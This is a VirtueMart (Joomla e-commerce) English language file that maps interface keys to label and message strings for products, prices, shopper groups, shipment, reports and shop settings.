COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Base price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Base price with tax" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="The base price is the cost price converted into vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Cost price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="This is actual cost price in the currency selected" COM_VIRTUEMART_PRODUCT_FORM_PRICE_DISCOUNT="Discount" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Final price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="The final price is the baseprice with all affecting rules applied in vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Product Price (Gross)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Product Price (Cost)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Product Price (Retail)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Tax" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Custom Fields" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Product Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Product Images" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Product Information" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Child Product List" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Product Status" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Product Types" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Product Variants" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Property" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="New Property" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="Published?" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Pricing rules overrides" COM_VIRTUEMART_PRODUCT_FORM_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="On Featured" COM_VIRTUEMART_PRODUCT_FORM_STEP_ORDER="Purchase Quantity Steps" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Short Description" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unit" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Update Item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor" COM_VIRTUEMART_PRODUCT_HEIGHT="Product Height" COM_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_PRODUCT_ID_MISSING="A product ID is missing." COM_VIRTUEMART_PRODUCT_IMAGE="Product image" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="Image URL must begin with http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Failed deleting Product Images!" COM_VIRTUEMART_PRODUCT_INFORMATION="Product Information" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventory" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Stock Value" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Value" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Weight" COM_VIRTUEMART_PRODUCT_IN_STOCK="Product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Search Product" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="after" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="before" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="with Price modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="without Price" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="only parent" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Vendor Name" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="List all %s children" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_MASSXREF="Bulk association (i.e. categories, shoppergroups) with selected products" COM_VIRTUEMART_PRODUCT_MEDIA="Media File" COM_VIRTUEMART_PRODUCT_MOD="Products" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Email(s) sent" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Number to notify (leave blank for all)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notify users" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="The product was not successfully cloned" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Sorry, but the Product you have requested was not found!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Child product not created successfully" COM_VIRTUEMART_PRODUCT_OF="of" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="In case your product is sold in units, like meters, grams or, liters, enter here the amount. For example 0.7 for a 0.7 %1$s bottle or 2.5 for 250 ml in case you choosed for %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Product has Children?" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_DATE_RANGE="Date range" COM_VIRTUEMART_PRODUCT_PRICE_FROM="From" COM_VIRTUEMART_PRODUCT_PRICE_QUANTITY_RANGE="Quantity range" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_TO="To" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Internal note" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Product Type" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Search for Related Products" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Family" COM_VIRTUEMART_PRODUCT_S="Products" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount " COM_VIRTUEMART_PRODUCT_SHOPPERS="Send an email to Shoppers" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="List of shoppers who bought %1$s" COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount " COM_VIRTUEMART_PRODUCT_TAX_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Apply default rules" COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Use notification template" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="If checked, the default notification will be sent." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s has arrived!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notified" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notify these users now (when you have updated the number of products stock)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Waiting List" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Users waiting to be notified when this product is back in stock" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="No waiting users" COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Unit" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PRODUCT_XREF_CAT="Bulk associate categories" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Execute bulk association of categories" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Selected products %s" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Bulk associate shoppergroups" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Execute bulk association of shoppergroups" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="used RaiseWarning: Was not able to save the VirtueMart user data" COM_VIRTUEMART_RATE_FORM_VAT_ID="Tax" COM_VIRTUEMART_RATE_NOM="Rating" COM_VIRTUEMART_RATINGS="Reviews & Ratings" COM_VIRTUEMART_RATING_DATE_TITLE="Review date" COM_VIRTUEMART_RATING_EDIT_TITLE="Edit Shopper Review" COM_VIRTUEMART_RATING_TITLE="Rating" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
        An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_TITLE="Registration" COM_VIRTUEMART_REGISTRATION_FORM_NONE="none" COM_VIRTUEMART_REG_COMPLETE="
        Registration Complete!
        " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
        Registration Completed!

        Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
        Registration of vendor complete!
        " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
        Registration of vendor Completed!

        Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Add categories to display in the Product Details Page" COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Add products to display in the Product Details Page" COM_VIRTUEMART_RELOAD="Reload" COM_VIRTUEMART_REMEMBER_ME="Remember me" COM_VIRTUEMART_REPORT="Revenue Report" COM_VIRTUEMART_REPORT_BASIC_DATE="Date" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Individual Product Listings" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Last 60 days" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Last 90 days" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Last Month" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Orders" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Product Listing" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Report for" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Revenue gross" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Revenue net" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Sales Activity Overview, // not used?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Sales Reporting, // not used?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Show this selected range" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="This Month" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total Items sold" COM_VIRTUEMART_REPORT_FROM_PERIOD="From: " COM_VIRTUEMART_REPORT_INTERVAL="Set Interval" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="End Date" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Daily" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Monthly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Weekly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Yearly" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Start Date" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Last 30 days" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Last 60 days" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Last 90 days" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="This Month" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="This Week" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="This Year" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Today" COM_VIRTUEMART_REPORT_SET_PERIOD="Set Period: " COM_VIRTUEMART_REPORT_TITLE="Report for the period from %s to %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Until: " COM_VIRTUEMART_REPORT_UPDATEORDERITEMS="Update Order Items" COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN="For correct net price calculation you must update order items table. Use the button on top of the site." COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_REVIEW="Shopper Review" COM_VIRTUEMART_REVIEW_COUNT="Characters written:" COM_VIRTUEMART_REVIEW_DETAILS="Shopper Review Details" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Product Reviews" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Review & Rating" COM_VIRTUEMART_REVIEW_RATE_S="Reviews & Ratings" COM_VIRTUEMART_REVIEW_S="Shopper Reviews" COM_VIRTUEMART_RULES_EFFECTING="Rule(s) Affecting: " COM_VIRTUEMART_RULES_EFFECTING_TIP="Be aware that you see the prices with your conditions, that means always quantity = 1 and YOUR shoppergroup. Dont wonder that you see no taxes, if your are not in the group to be taxed. Dont wonder that you may see a strange discount, which you gave a tester group, which your are in. To see the prices for not logged users and similar, check the frontend, use the link provided at the title of the page" COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED="Default safe path created: %1s" COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Path for invoices created" COM_VIRTUEMART_SALES="Best Selling" COM_VIRTUEMART_SAMPLE_DATA="Install
        Sample Data" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Sample data installed!!" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SAVED_CART_TITLE="Saved Cart" COM_VIRTUEMART_SAVE_PERMISSIONS="Save Permissions" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Search all Categories" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Search all product info" COM_VIRTUEMART_SEARCH_AND="and" COM_VIRTUEMART_SEARCH_DESCRIPTION="Product description only" COM_VIRTUEMART_SEARCH_LBL="Search" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Manufacturer / Vendor only" COM_VIRTUEMART_SEARCH_NOT="not" COM_VIRTUEMART_SEARCH_ORDER_ASC="Ascending Order" COM_VIRTUEMART_SEARCH_ORDER_DESC="Descending Order" COM_VIRTUEMART_SEARCH_PRODNAME="Product name only" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Select all manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturers" COM_VIRTUEMART_SEARCH_TITLE="Search" COM_VIRTUEMART_SELECT="Select %s" COM_VIRTUEMART_SELECT_CATEGORY="Select a category..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Select a plug-in " COM_VIRTUEMART_SELECT_FILE="Select a file" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Select an item to delete" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Select an item to toggle" COM_VIRTUEMART_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Select manufacturer category" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Please select a Payment Method in the tab Payment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_PERIOD="Select period" COM_VIRTUEMART_SELECT_PRODUCT="Select a product" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Please select a Shipment Method in the tab Shipment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Select a user to modify" COM_VIRTUEMART_SEND_BUTTON="Send" COM_VIRTUEMART_SEND_SUB="Account details for %s at %s" COM_VIRTUEMART_SETSTOREOWNER="Set store owner" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Default Shopper group changed" COM_VIRTUEMART_SHARED="Shared" COM_VIRTUEMART_SHARED_TOGGLE_OFF="Set unshared" COM_VIRTUEMART_SHARED_TOGGLE_ON="Set shared" COM_VIRTUEMART_SHIPMENTMETHOD="Shipment Method" COM_VIRTUEMART_SHIPMENTMETHOD_S="Shipment Methods" COM_VIRTUEMART_SHIPMENT_CLONE="Clone shipment" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Shipment successfully cloned" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Shipment Description" COM_VIRTUEMART_SHIPMENT_NAME="Shipment Name" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Shipment Name" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Shipment cloning failed" COM_VIRTUEMART_SHIPPINGRATE="Shipment Rate" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Shipment Rate Details" COM_VIRTUEMART_SHIPPINGRATE_S="Shipment Rates" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Shipment Method" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Select the Shipment Method to use for this method, and click Apply button for Joomla 1.5.x, or Save button for Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Shipment Description" COM_VIRTUEMART_SHIPPING_FORM_NAME="Shipment Name" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Shipment name" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_SHIPTO_TEXT="You can add shipment locations to your account. Please think of a suitable nickname or code for the shipment location you select below." COM_VIRTUEMART_SHOPPERGROUP="Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_ADDED="The Shopper Group has been added." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Shopper group already exists for this vendor." COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT="You can't set this shopper group %1$s with id %2$s as default" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Default Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="New shoppers will be assigned to this group" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="You can't delete the default shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="There are still users assigned to this shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Cannot delete the default Shopper Group." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="This Shopper Group Id" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Please select a Shopper Group to delete." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="There are still Users assigned to this Shopper Group ID" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Shopper Group Description" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Shopper Group Details" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Enable shoppergroup specific price display" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Price Discount on default Shopper Group (in %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="A positive amount X means" COM_VIRTUEMART_SHOPPERGROUP_IDS="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Shopper Group Discount" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Shopper Group incl. Tax" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="You must enter a Shopper Group name." COM_VIRTUEMART_SHOPPERGROUP_NAME="Shopper Group Name" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="The given shopper group name already exists for the given vendor." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Shopper group names should not have more than 32 characters" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="shopper groups must have a name" COM_VIRTUEMART_SHOPPERGROUP_S="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="The Shopper Group has been updated." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Failed to update the Shopper Group" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Shopper group name" COM_VIRTUEMART_SHOPPER_STATE_NAME="state name" COM_VIRTUEMART_SHOW="Show" COM_VIRTUEMART_SHOW_DISCOUNTED="Discounted Products" COM_VIRTUEMART_SHOW_FEATURED="Featured Products" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Show the Remember me checkbox on login?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="When checked, the remember me box is shown on checkout. Not recommended when using shared ssl, because the shopper could choose not to get a user cookie - but that user cookie is required to keep the user logged in on both domains." COM_VIRTUEMART_SHOW_TITLE="Show Title" COM_VIRTUEMART_SKU="Sku" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Error" COM_VIRTUEMART_SQL_ERROR="SQL Error" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Standard VirtueMart Categories Layout" COM_VIRTUEMART_START_DATE="Start Date" COM_VIRTUEMART_START_SYNCRONIZING="Start Synchronizing!" COM_VIRTUEMART_STATE="State" COM_VIRTUEMART_STATES_COUNTRY="States of country %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="View states list of
         %1$s" COM_VIRTUEMART_STATE_2_CODE="State (2) Code" COM_VIRTUEMART_STATE_3_CODE="State (3) Code" COM_VIRTUEMART_STATE_COUNTRY="State for country %1$s" COM_VIRTUEMART_STATE_DETAILS="State details" COM_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_STATE_LIST_LBL="State List for" COM_VIRTUEMART_STATE_NAME="State Name" COM_VIRTUEMART_STATE_S="States" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="active Products" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Shoppers" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="inactive Products" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="New Shoppers" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="New Orders" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistics" COM_VIRTUEMART_STATISTIC_SUM="Sum" COM_VIRTUEMART_STATISTIC_SUMMARY="Control Panel" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of Stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_LOW="Product stock low" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Product stock sufficient" COM_VIRTUEMART_STOCK_LEVEL_OUT="Product not in stock!" COM_VIRTUEMART_STORE="Shop" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LBL="Shop Information" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STORE_INFORMATION="Shop Information" COM_VIRTUEMART_STORE_MOD="Shop" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Error: %s must have a name." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s is empty. This field is obligatory, please enter your data and store again." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s primary key is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function Forbidden for non vendors" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s function reserved for administrator Only" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s successfully moved down" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s successfully moved up" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Action not performed. Please check %1$s first and come back here." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="To use these tools fully, you must check '%1$s' in the Configuration panel." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="The configuration setting '%1$s' is enabled. Please disable this for security measures here in the Configuration panel." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="System defaults restored!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="VirtueMart data removed" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="VirtueMart tables removed" COM_VIRTUEMART_TAX_EFFECTING="Tax Affecting: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Default template" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Textarea attributes" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Textfield attributes" COM_VIRTUEMART_THANK_MESSAGE="Thank you for your Enquiry. We will contact you as soon as possible." COM_VIRTUEMART_THRD_PARTY_CONTACT="contact the developer %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual for %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Thumbnail not found" COM_VIRTUEMART_TIME="Time" COM_VIRTUEMART_TITLE="Title" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Title in fieldvalues contains invalid characters" COM_VIRTUEMART_TOGGLE_ADMIN="Toggle Admin" COM_VIRTUEMART_TOGGLE_HIDDEN="Toggle Hidden" COM_VIRTUEMART_TOOLS_MOD="Tools" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renew VirtueMart configuration by file" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Delete config stored in database, load defaults from file and set in session?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

        The configuration settings are reset with the values from the file /administrator/components/com_virtuemart/virtuemart.cfg

